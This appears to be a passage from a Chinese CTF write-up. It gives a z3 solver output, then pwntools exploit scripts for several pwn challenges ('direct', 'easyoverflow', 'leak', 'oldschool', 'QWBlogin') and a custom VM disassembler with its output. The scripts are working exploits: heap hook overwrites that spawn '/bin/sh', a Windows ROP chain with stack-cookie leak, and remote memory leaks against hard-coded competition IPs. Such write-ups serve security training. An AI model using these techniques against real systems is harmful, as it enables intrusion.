* flag[6]+ -289940 * flag[7]+ -52501 * flag[5]+ -1254 * flag[4]+ 154844 * flag[1
1]+ 254969 * flag[2]+ -39495 * flag[1]+ 277429 * flag[16]- 132752 * flag[0] == -
6628237)
s.add(128092 * flag[11]+ -5873 * flag[17]+ -144172 * flag[3]+ -148216 * flag[13]
+ 189050 * flag[2]+ 66107 * flag[5]+ 237987 * flag[0]+ -53271 * flag[9]+ -86968
* flag[12]+ -94616 * flag[10]+ -247882 * flag[8]+ -5107 * flag[1]+ 55085 * flag[
15]+ 10792 * flag[14]+ -112241 * flag[4]+ -36680 * flag[16]- 210718 * flag[7]- 2
49539 * flag[6] == -53084017)
s.add(-186088 * flag[2]+ 19517 * flag[13]+ -65515 * flag[5]+ 195447 * flag[1]+ 1
45470 * flag[14]+ 58825 * flag[16]+ 272227 * flag[15]+ -155443 * flag[8]+ 100397
 * flag[3]+ -238861 * flag[18]+ 84628 * flag[7]+ 1337 * flag[17]+ 156976 * flag[
12]+ -74209 * flag[4]+ 175077 * flag[11]+ 134548 * flag[0]+ -280672 * flag[6]+ 1
2264 * flag[10]+ 56937 * flag[9]==60764977)
s.add(-283834 * flag[9]+ 159144 * flag[13]+ -199631 * flag[0]+ 54404 * flag[16]+
 -190345 * flag[8]+ 176103 * flag[3]+ 137206 * flag[17]+ -170051 * flag[6]+ 2817
18 * flag[11]+ 137214 * flag[14]+ -104395 * flag[19]+ -122090 * flag[4]+ 162065
* flag[15]+ -36580 * flag[18]+ 245858 * flag[12]+ -18520 * flag[10]+ -138274 * f
lag[1]+ 139185 * flag[2]+ -58873 * flag[7] - 197535 * flag[5] == 4912728)
s.add(74470 * flag[8]+ -72984 * flag[11]+ -162393 * flag[20]+ 150036 * flag[15]+
 127913 * flag[19]+ 181147 * flag[16]+ 27751 * flag[6]+ -239133 * flag[1]+ -2833
7 * flag[17]+ 108149 * flag[0]+ 148338 * flag[2]+ 38137 * flag[18]+ -199427 * fl
ag[14]+ -97284 * flag[4]+ -39775 * flag[3]+ -109205 * flag[10]+ 270604 * flag[5]
- 193384 * flag[12] + 293345 * flag[9]+ 63329 * flag[13]+ 168963 * flag[7] == 45
577809)
s.add(-188979 * flag[8]+ -220539 * flag[16]+ 246135 * flag[2]+ -174651 * flag[14
]+ 179514 * flag[4]+ 153071 * flag[15]+ -207716 * flag[21]+ 64641 * flag[7]+ 293
781 * flag[12]+ 263208 * flag[10]+ 44675 * flag[1]+ 131692 * flag[3]+ 109605 * f
lag[11]+ 293201 * flag[5]+ -98937 * flag[9]+ 60492 * flag[20]+ -273571 * flag[13
]- 38942 * flag[0]+ 45637 * flag[6]+ 111858 * flag[17]+ 244009 * flag[19]- 28594
6 * flag[18]==77539017)
s.add(-86224 * flag[20]+ 92896 * flag[22]+ 295735 * flag[15]+ -58530 * flag[0]+
-197632 * flag[13]+ -21957 * flag[17]+ -43684 * flag[6]+ -141434 * flag[10]+ -19
4890 * flag[1]+ -148390 * flag[21]+ 105293 * flag[14]+ 76213 * flag[3]+ 9791 * f
lag[12]+ -258754 * flag[8]+ 59119 * flag[16]+ 255675 * flag[2]+ -130852 * flag[7
]- 71444 * flag[5]+-160726 * flag[9]+ 234971 * flag[18]+ 32897 * flag[4]+ -20618
4 * flag[11]+ 127285 * flag[19]==-38197685)
```

```
s.add(-236806 * flag[17]+ 268813 * flag[3]+ 191822 * flag[23]+ -40848 * flag[6]+
 103466 * flag[7]+ -211930 * flag[5]+ -180522 * flag[19]+ -188959 * flag[15]+ -2
38839 * flag[21]+ 281705 * flag[11]+ 175825 * flag[16]+ -44618 * flag[12]+ 19637
0 * flag[0]+ 89330 * flag[22]+ -133696 * flag[8]+ -60213 * flag[2]+ 191404 * fla
g[18]- 291063 * flag[9]+205675 * flag[20]+ 197685 * flag[1]+ 144870 * flag[4]+ 1
20347 * flag[10]+ 202621 * flag[14]+ 13902 * flag[13]==67763764)
s.add(115716 * flag[22]+ 7838 * flag[16]+ -173902 * flag[14]+ 115189 * flag[9]+
234832 * flag[7]+ -54321 * flag[5]+ -268221 * flag[20]+ -210563 * flag[18]+ -161
113 * flag[13]+ -199130 * flag[23]+ -94067 * flag[24]+ 9601 * flag[11]+ -8509 *
flag[12]+ 14439 * flag[2]+ -243227 * flag[19]+ 37665 * flag[17]+ 91076 * flag[6]
- 85246 * flag[0]+69341 * flag[15]+ -19740 * flag[21]+ 62004 * flag[10]+ 29334 *
 flag[8]+ -78459 * flag[1]+ -261617 * flag[3]+ 39558 * flag[4]==-98330271)
s.add(-78437 * flag[20]+ -212633 * flag[16]+ 180400 * flag[5]+ -81477 * flag[12]
+ 232645 * flag[0]+ -65268 * flag[4]+ 263000 * flag[6]+ 247654 * flag[25]+ -2420
59 * flag[17]+ -35931 * flag[9]+ -271816 * flag[21]+ 10191 * flag[13]+ 41768 * f
lag[23]+ 92844 * flag[7]+ -73366 * flag[14]+ -124307 * flag[10]+ 197710 * flag[1
8]+ 226192 * flag[15]+38468 * flag[19]+ -75568 * flag[2]+ 169299 * flag[22]+ -25
2915 * flag[3]+ 32044 * flag[24]+ -260264 * flag[8]+ -111200 * flag[1]+ 3788 * f
lag[11]==-13464859)
s.add(-6866 * flag[25]+ 215574 * flag[22]+ 231326 * flag[6]+ 77915 * flag[2]+ 18
6585 * flag[3]+ 219151 * flag[4]+ 271210 * flag[13]+ -78913 * flag[20]+ 83918 *
flag[8]+ -153409 * flag[18]+ -84952 * flag[7]+ -121854 * flag[0]+ -253617 * flag
[26]+ -213665 * flag[19]+ -293146 * flag[17]+ -166693 * flag[16]+ -206964 * flag
[1]- 155664 * flag[10]+-23897 * flag[9]+ -188087 * flag[24]+ -254282 * flag[15]+
 -102361 * flag[23]+ -15606 * flag[14]+ -74795 * flag[21]+ 116581 * flag[12]+ 77
693 * flag[5]+ 180598 * flag[11]==-55504393)
s.add(-120743 * flag[10]+ 77375 * flag[5]+ -164339 * flag[3]+ 167370 * flag[25]+
 -225830 * flag[4]+ -136952 * flag[2]+ -14347 * flag[8]+ 6966 * flag[26]+ 88628
* flag[18]+ 138998 * flag[22]+ 147747 * flag[19]+ -106792 * flag[6]+ -113009 * f
lag[20]+ 98136 * flag[15]+ 231264 * flag[24]+ -109447 * flag[17]+ 258890 * flag[
1]+ 167885 * flag[16]+264405 * flag[11]+ 135302 * flag[12]+ 278196 * flag[9]+ -1
32906 * flag[23]+ 138308 * flag[7]+ 40423 * flag[21]+ 157781 * flag[0]+ -38949 *
 flag[27]+ -143324 * flag[14]+ 246315 * flag[13]==133068723)
assert s.check() == sat

m = s.model()
print(bytearray([m[each].as_long() for each in flag]).decode())
# flag{gO_Fuck_xx_5egm3nt_Obf}
```

Pwn

direct

```
from pwn import *
context.log_level="debug"
def add(index,size):
    p.sendlineafter(": ","1")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",str(size))
def edit(index,offset,size,note):
    p.sendlineafter(": ","2")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",str(offset))
    p.sendlineafter(": ",str(size))
    p.sendafter(": ",note)
```

```
def delete(index):
    p.sendlineafter(": ","3")
    p.sendlineafter(": ",str(index))
def open_():
      p.sendlineafter(": ","4")
def close_():
      p.sendlineafter(": ","5")
#p=process("./direct")
p=remote("106.14.214.3",1912)
add(0,0x18)
add(1,0x18)
open_()
add(2,0x18)
edit(0,-8,8,p64(0x8081))
close_()
delete(0)
add(10,0x18)
add(3,0x78)
add(4,0x88)
edit(4,-8,8,"b"*8)
close_()
p.recvuntil("b"*5)
addr=u64(p.recv(6)+"\x00\x00")+0x7ffff79e4000-0x7ffff7dcfca0
print hex(addr)
#delete()
#addr=0x7ffff79e4000
delete(1)
edit(3,0,8,p64(addr+0x3ed8e8))
#gdb.attach(p)
add(5,0x78)
edit(5,0,8,"/bin/sh\x00")
add(6,0x78)
edit(6,0,8,p64(addr+0x04f4e0))
delete(5)
p.interactive()
```

easyoverflow

```
from pwn import *
context.log_level = 'debug'
r = lambda x: p.recvuntil(x, drop=True)
s = lambda x, y: p.sendafter(x, y)
sl = lambda x, y: p.sendlineafter(x, y)
p = remote('39.99.46.209', 13389)
r('input:\r\n')
p.send('a'*0x100)
r('buffer:\r\n')
r('a'*0x100)
cookie = u64(r('\r\n').ljust(0x8,'\x00'))
log.info('cookie: '+hex(cookie))
kernel32=0x7ffbbc640000
ntdll = 0x7ffbbe6b0000
exec_addr = 0x7ff6fcba0000
#0x158 kernel32
#0x188 ntdll
#0x118 exec
```

```
r('input:\r\n')
p.send('a'*0x118)
r('buffer:\r\n')
r('a'*0x118)
exec_addr = u64(r('\r\n').ljust(0x8,'\x00'))-0x12f4
log.info('exec: '+hex(exec_addr))
pop_rcx = ntdll + 0x9217b
ucrt_addr= 0x7ffbbb4d0760-0x80760
rop = 'a'*0x100
rop += p64(cookie)
rop += 2*p64(0)
rop += p64(pop_rcx+1)+p64(pop_rcx)+p64(ucrt_addr+0xCC9F0)+p64(ucrt_addr+0xABBA0)
#rop += p64(pop_rcx+1) + p64(pop_rcx) + p64(exec_addr+0x2180)
+p64(exec_addr+0x107b)
r('input:\r\n')
p.send(rop)
p.recvuntil("\r\n")
p.recvuntil("\r\n")
p.interactive()
```

leak

远程Python没开PIE，结合leak以及二分法确定tmplib的位置，然后计算出其与libc的偏移

通过ELF_SYM中的函数名与函数地址，计算出yes_ur_flag的位置

dump出yes_ur_flag函数即可

```
from pwn import *
import random
import string


context.log_level = 'debug'
p = remote('39.101.177.128', 9999)
# p = process("python leak.py",shell=True)
libc = ELF("./libc-2.23.so")


def passpow(io, difficulty):
io.readuntil("[+] sha256(")
prefix = io.readuntil("+")[:-1]
while True:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in
range(8))
hashresult = hashlib.sha256(prefix+answer).digest()
bits = ''.join(bin(ord(j))[2:].zfill(8) for j in hashresult)
if bits.startswith('0'*difficulty):
io.sendline(answer)
# io.readuntil("=")
return

def show(addr):
p.sendlineafter("addr?:",hex(addr))
return p.recv(16)
```

```python
def calc(typex,num,addr):
tmp_addr = 0
print int(num)
if typex == 'not_ur_flag':
tmp_addr = addr-int(num)*19
elif typex == 'yes_ur_flag':
tmp_addr = addr
else:
exit(0)
return tmp_addr

# p.sendline('')
# p.sendline('')
passpow(p, 16)
# p.interactive()
# p.readuntil("=")
p.sendline('icqaf0ecae2322e454ba574617e58ef7')
uname = 0x8DD1C0
tmp = show(uname)
tmp = u64(tmp[:8])
offset1 = tmp-libc.sym['uname']
success(hex(offset1))

tmp = 0x9532a0
tmp = show(tmp)
tmp = u64(tmp[:8])
success(hex(tmp))
tmp = tmp-0x11e0
success(hex(tmp))
tmp = show(tmp)
print tmp
tmp = u64(tmp[:8])
success(hex(tmp))
p.interactive()
from pwn import *
import random

import requests
p = remote('39.101.177.128', 9999)
#p = process("python pwn1.py",shell=True)


def passpow(io, difficulty):
    io.readuntil("[+] sha256(")
    prefix = io.readuntil("+")[:-1]
    while True:
        answer = ''.join(random.choice(string.ascii_letters + string.digits) for
i in range(8))
        hashresult = hashlib.sha256(prefix+answer).digest()
        bits = ''.join(bin(ord(j))[2:].zfill(8) for j in hashresult)
        if bits.startswith('0'*difficulty):
            io.sendline(answer)
            # io.readuntil("=")
            return

def show(addr):
    p.sendlineafter("?:",hex(addr))
    return p.recvuntil("addr")
```

```python
def calc(typex,num,addr):
    tmp_addr = 0
    print int(num)
    if typex == 'not_ur_flag':
        tmp_addr = addr-int(num)*19
    elif typex == 'yes_ur_flag':
        tmp_addr = addr
    else:
        exit(0)
    return tmp_addr

# p.sendline('')
# p.sendline('')
passpow(p, 16)
#p.interactive()
p.sendlineafter("[+] teamtoken:",'icqaf0ecae2322e454ba574617e58ef7')
tmp = show(0x8DD270)
tmp = u64(tmp[:8])
libc_addr = tmp + 0x7f673598b000 - 0x7f6735d654f0
print hex(libc_addr)
context.log_level = 'debug'
#204000  - > libdl-2.23.so
#92a000  -> libm-2.23.so
tmp=libc_addr-0xc02000-0xa000-0x208000-0x102000-0x230000-0x286000
tmp=tmp-0x195000#crypt
tmp=tmp-0x205000-0x1f000
tmp=tmp-0xf0f000-0x550000
tmp=tmp+0xf0f000+0x550000-0x200000-0xf000-0x4f000#libssl
tmp=tmp-0x40d000*2-0xf0000-0xf000-0xf000*13-0x1000*22-0xf000
print hex(tmp)
print hex(tmp-libc_addr)
offset = tmp
success(hex(offset))
tmp = offset+0x4E970
tmp = show(tmp)
name = u32(tmp[:4])+0x4e988+offset
func = u64(tmp[8:16])+offset
success("name:"+hex(name-offset))
success("func:"+hex(func-offset))
tmp = show(name)
tmp = tmp[:tmp.index("\x00")]
typex = tmp[:11]
num = tmp[11:]
print typex
print num
addr = calc(typex,num,func)-35
f=open("./test","ab+")
tmp = show(addr-16*4)
f.write(tmp)
tmp = show(addr-16*5)
f.write(tmp)
f.close()
p.interactive()
#ctf{pleAse_fInd_aNd_Leak_Me_*_*}
```

oldschool

nc 106.14.214.3 2333

http://112.126.59.156:8080/s/4j2RbNpjaf3AbL4/download

```
from pwn import *
context.log_level="debug"
p=process("./a.out")
def add(index,size):
    p.sendlineafter(": ","1")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",str(size))
def edit(index,note):
    p.sendlineafter(": ","2")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",note)
def show(index):
    p.sendlineafter(": ","3")
    p.sendlineafter(": ",str(index))
def delete(index):
    p.sendlineafter(": ","4")
    p.sendlineafter(": ",str(index))
def addmap(index):
    p.sendlineafter(": ","6")
    p.sendlineafter(": ",str(index))
def deletemap():
    p.sendlineafter(": ","8")
def editmap(index,value):
    p.sendlineafter(": ","7")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",str(value))
p=remote("106.14.214.3",2333)
for i in range(8):
    add(i,0x100)
for i in range(8):
    delete(7-i)
for i in range(7):
    add(i,0x100)
add(10,0x100)
edit(10,"aaaa\n")
show(10)
p.recvuntil("aaaa")
addr=u32(p.recv(4))+0xf7dd9000-0xf7fb170a
print hex(addr)
#gdb.attach(p)
addmap(0)
editmap((addr+0xf7fb28d0-0xf7dd9000-0xe0000000)/4,addr+0x03d250)
edit(0,"/bin/sh\x00\n")
delete(0)
p.interactive()
```

QWBlogin

nc 47.94.20.173 32142

http://112.126.59.156:8080/s/6Teqzb4ECQpPZ54/download

hint附件：http://112.126.59.156:8080/s/Wsg2b2xMQjSr8n4/download

```
from pwn import *
f = open('./binbin','rb')
a = f.read()
f.close()
o = open('o.txt','w+')
pc = 0
regs=
['r0','r1','r2','r3','r4','r5','r6','r7','r8','r9','r10','r11','r12','r13','r14'
,'r15','sp','bp']
while pc <len(a):
    print "inst:"+(a[pc]).encode('hex')
    if a[pc] == '\x00':
        o.write('GG\n')
        pc+=1
        continue
    elif a[pc] == '\x01':
        tmp ='mov '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl  == 0x10:
            tmp+= 'byte '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
```

```
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue

        elif opl ==0x20:
            tmp+= 'word '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u16(a[pc:pc+2]))
                tmp+='\n'
                o.write(tmp)
                pc+=2
                continue
        elif opl ==0x30:
            tmp+= 'dword '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
```

```
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u32(a[pc:pc+4]))
                tmp+='\n'
                o.write(tmp)
                pc+=4
                continue
        elif opl ==0x40:
            tmp+= 'qword '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
```

```
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u64(a[pc:pc+8]))
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue

    elif a[pc] == '\x07' or a[pc]=='\x03' or a[pc]=='\x02':#xor
        if a[pc] == '\x02':
            tmp = 'add '
        if a[pc] == '\x03':
            tmp = 'sub '
        if a[pc] == '\x07':
            tmp = 'xor '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl  == 0x10:
            tmp+= 'byte '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
```

```
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue

        elif opl ==0x20:
            tmp+= 'word '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u16(a[pc:pc+2]))
```

```
                tmp+='\n'
                o.write(tmp)
                pc+=2
                continue
        elif opl ==0x30:
            tmp+= 'dword '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u32(a[pc:pc+4]))
                tmp+='\n'
                o.write(tmp)
                pc+=4
                continue
        elif opl ==0x40:
            tmp+= 'qword '
            opt =ord(a[pc])&0xf
            if opt==0x00:#RR
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
```

```
                pc+=1
                continue
            if opt==0x01:#RL
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
            if opt==0x02:#LR
                pc+=1
                tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
                tmp +=', '
                pc+=8
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
            if opt==0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u64(a[pc:pc+8]))
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
    elif a[pc] == '\x0d':#pop
        tmp = 'pop '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl ==0x40:
            tmp+= 'qword '
            opt =ord(a[pc])&0xf
            if opt == 0x06:#R
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
    elif a[pc] == '\x0e':#push
        tmp = 'push '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl ==0x40:
            tmp+= 'qword '
            opt =ord(a[pc])&0xf
            if opt == 0x06:#R
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp+='\n'
                o.write(tmp)
```

```
                pc+=1
                continue

    elif a[pc] == '\x10':#call
        pc+=2
        tmp ='call '
        tmp+=regs[ord(a[pc])]
        tmp+='\n'
        o.write(tmp)
        pc+=1
        continue
    elif a[pc] == '\x11':#ret
        tmp ='ret\n'
        o.write(tmp)
        pc+=2
        continue
    elif a[pc] == '\x20':#syscall
        o.write('syscall\n')
        pc+=2
        continue
    elif a[pc]== '\x12':#cmp
        tmp = 'cmp '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl == 0x10:
            tmp +='byte '
            opt =ord(a[pc])&0xf
            if opt == 0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
        if opl == 0x20:
            tmp +='word '
            opt =ord(a[pc])&0xf
            if opt == 0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u16(a[pc:pc+2]))
                tmp+='\n'
                o.write(tmp)
                pc+=2
                continue
        if opl == 0x30:
            tmp +='dword '
            opt =ord(a[pc])&0xf
            if opt == 0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
```

```
                tmp+=hex(u32(a[pc:pc+4]))
                tmp+='\n'
                o.write(tmp)
                pc+=4
                continue
        if opl == 0x40:
            tmp +='qword '
            opt =ord(a[pc])&0xf
            if opt == 0x05:#RI
                pc+=1
                tmp+=regs[ord(a[pc])]
                tmp +=', '
                pc+=1
                tmp+=hex(u64(a[pc:pc+8]))
                tmp+='\n'
                o.write(tmp)
                pc+=8
                continue
    if a[pc] == '\x13':
        tmp = 'jmp '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl == 0x10:
            tmp +='byte '
            opt =ord(a[pc])&0xf
            if opt == 0x07:#I
                pc+=1
                tmp += '$+'
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
    if a[pc] == '\x14':
        tmp = 'je '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl == 0x10:
            tmp +='byte '
            opt =ord(a[pc])&0xf
            if opt == 0x07:#I
                pc+=1
                tmp += '$+'
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue

    if a[pc] == '\x15':
        tmp = 'jne '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl == 0x10:
            tmp +='byte '
            opt =ord(a[pc])&0xf
            if opt == 0x07:#I
                pc+=1
```

```
                tmp += '$+'
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
    if a[pc] == '\x18':
        tmp = 'jl '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl == 0x10:
            tmp +='byte '
            opt =ord(a[pc])&0xf
            if opt == 0x07:#I
                pc+=1
                tmp += '$+'
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
    if a[pc] == '\x19':
        tmp = 'jnl '
        pc+=1
        opl = ord(a[pc])&0xf0
        if opl == 0x10:
            tmp +='byte '
            opt =ord(a[pc])&0xf
            if opt == 0x07:#I
                pc+=1
                tmp += '$+'
                tmp+=hex(u8(a[pc:pc+1]))
                tmp+='\n'
                o.write(tmp)
                pc+=1
                continue
    else:
        pc+=1
        continue
```

结果:

```
mov qword r0, 0x45
call r0
mov qword r1, 0xa756f5920656553
push qword r1
mov qword r0, 0x2
mov qword r1, 0x1
mov qword r2, sp
mov qword r3, 0x8
syscall
GG
##0x45::::
mov byte r0, 0x2
mov byte r1, 0x1
mov byte r2, 0x0
mov byte r3, 0x23
```

```
syscall
write(1,data[0],0x23)
mov byte r0, 0x2
mov byte r1, 0x1
mov byte r2, 0x28
mov byte r3, 0xb
syscall
write(1,data[0x28],0xb)
mov byte r0, 0x1
mov byte r1, 0x0
mov dword r2, 0x40
mov qword r3, 0x1
syscall
read(0,data[0x40],1)
mov byte r8, data[0x40]
cmp byte r8, 0x51#Q
je byte $+0x2
GG
mov byte r0, 0x1
mov byte r1, 0x0
mov byte r2, 0x40
mov byte r3, 0x1
syscall
mov byte r8, data[0x40]
cmp byte r8, 0x57#W
jne byte $+0x3
jmp byte $+0x2
GG
mov qword data[0x40], r9
mov byte r0, 0x1
mov word r1, 0x0
mov word r2, 0x40
mov byte r3, 0x1
syscall
read(0,data[0x40],1)
mov byte r8, data[0x40]
xor byte r8, 0x77
cmp byte r8, 0x26#Q
jne byte $+0xc9
mov qword data[0x40], r9
mov qword data[0x48], r9
mov qword data[0x50], r9
mov qword data[0x58], r9
mov qword data[0x60], r9
mov byte r0, 0x1
mov word r1, 0x0
mov word r2, 0x40
mov byte r3, 0x21
syscall
read(0,data[0x40],0x21)
xor qword r8, r8
mov qword r8, data[0x40]
mov qword r9, 0x427234129827abcd
xor qword r8, r9
cmp qword r8, 0x10240740dc179b8a
je byte $+0x2 #GOODR3VR
GG
xor qword r8, r8
```

```
mov qword r8, data[0x48]
mov qword r9, 0x127412341241dead
xor qword r8, r9
cmp qword r8, 0x213a22705e70edfa
je byte $+0x2##W31LD0N3
GG
xor qword r8, r8
mov qword r8, data[0x50]
mov qword r9, 0x8634965812abc123
xor qword r8, r9
cmp qword r8, 0xa75ae10820d2b377
je byte $+0x2#Try2Pwn!
GG
xor qword r8, r8
mov qword r8, data[0x58]
mov qword r9, 0x1232167812367 89a
xor qword r8, r9
cmp qword r8, 0x5d75593f5d7137dd
je byte $+0x2#GOGOGOGO
GG
mov byte r0, 0x2
mov byte r1, 0x1
mov byte r2, 0x34
mov byte r3, 0x6
syscall
read(1,data[0x34],6)
push qword bp
mov qword bp, sp
sub qword sp, 0x100
mov qword r4, sp
mov qword r5, 0xa214f474f4721
push qword r5
mov qword r5, 0x574f4e54494e5750
push qword r5
mov qword r5, sp
mov byte r0, 0x2
mov byte r1, 0x1
mov qword r2, sp
mov byte r3, 0xf
syscall
write(1,sp,0xf)#PWNITNOW!GOGO!
mov byte r0, 0x1
mov byte r1, 0x0
mov qword r2, r4
